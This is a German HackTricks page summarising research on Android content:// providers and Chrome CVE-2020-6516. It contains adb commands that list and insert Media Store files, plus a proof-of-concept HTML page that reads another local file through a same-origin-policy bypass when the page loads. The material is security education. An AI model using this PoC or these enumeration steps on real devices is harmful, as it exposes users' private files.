content:// protocol

Unterstützen Sie HackTricks

Dies ist eine Zusammenfassung des Beitrags https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Auflisten von Dateien im Media Store

Um Dateien aufzulisten, die vom Media Store verwaltet werden, kann der folgende Befehl verwendet werden:

$ content query --uri content://media/external/file

Für eine benutzerfreundlichere Ausgabe, die nur die Kennung und den Pfad jeder indizierten Datei anzeigt:

$ content query --uri content://media/external/file --projection _id,_data

Content-Provider sind in ihrem eigenen privaten Namensraum isoliert. Der Zugriff auf einen Provider erfordert die spezifische content:// URI. Informationen über die Pfade zum Zugriff auf einen Provider können aus Anwendungsmanifests oder dem Quellcode des Android-Frameworks gewonnen werden.

Chomes Zugriff auf Content-Provider

Chrome auf Android kann über das content://-Schema auf Content-Provider zugreifen, was ihm ermöglicht, auf Ressourcen wie Fotos oder Dokumente zuzugreifen, die von Drittanbieteranwendungen exportiert wurden. Um dies zu veranschaulichen, kann eine Datei in den Media Store eingefügt und dann über Chrome darauf zugegriffen werden:

Fügen Sie einen benutzerdefinierten Eintrag in den Media Store ein:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Entdecken Sie die Kennung der neu eingefügten Datei:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Die Datei kann dann in Chrome mit einer URL angezeigt werden, die mit der Kennung der Datei erstellt wurde.

Zum Beispiel, um Dateien aufzulisten, die mit einer bestimmten Anwendung verbunden sind:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Same-Origin-Policy Bypass

Die Same Origin Policy (SOP) ist ein Sicherheitsprotokoll in Browsern, das Webseiten daran hindert, mit Ressourcen von verschiedenen Ursprüngen zu interagieren, es sei denn, dies wird ausdrücklich durch eine Cross-Origin-Resource-Sharing (CORS)-Richtlinie erlaubt. Diese Richtlinie zielt darauf ab, Informationslecks und Cross-Site-Request-Forgery zu verhindern. Chrome betrachtet content:// als ein lokales Schema, was strengere SOP-Regeln impliziert, bei denen jede lokale Schema-URL als separater Ursprung behandelt wird.

CVE-2020-6516 war jedoch eine Schwachstelle in Chrome, die einen Umgehung der SOP-Regeln für Ressourcen ermöglichte, die über eine content://-URL geladen wurden. In der Folge konnte JavaScript-Code von einer content://-URL auf andere Ressourcen zugreifen, die über content://-URLs geladen wurden, was ein erhebliches Sicherheitsproblem darstellte, insbesondere auf Android-Geräten mit Versionen vor Android 10, bei denen kein Scoped Storage implementiert war.

Der nachfolgende Proof-of-Concept demonstriert diese Schwachstelle, bei der ein HTML-Dokument, nachdem es unter /sdcard hochgeladen und zum Media Store hinzugefügt wurde, XMLHttpRequest in seinem JavaScript verwendet, um auf den Inhalt einer anderen Datei im Media Store zuzugreifen und diesen anzuzeigen, wodurch die SOP-Regeln umgangen werden.

Proof-of-Concept HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
Unterstütze HackTricks

Last updated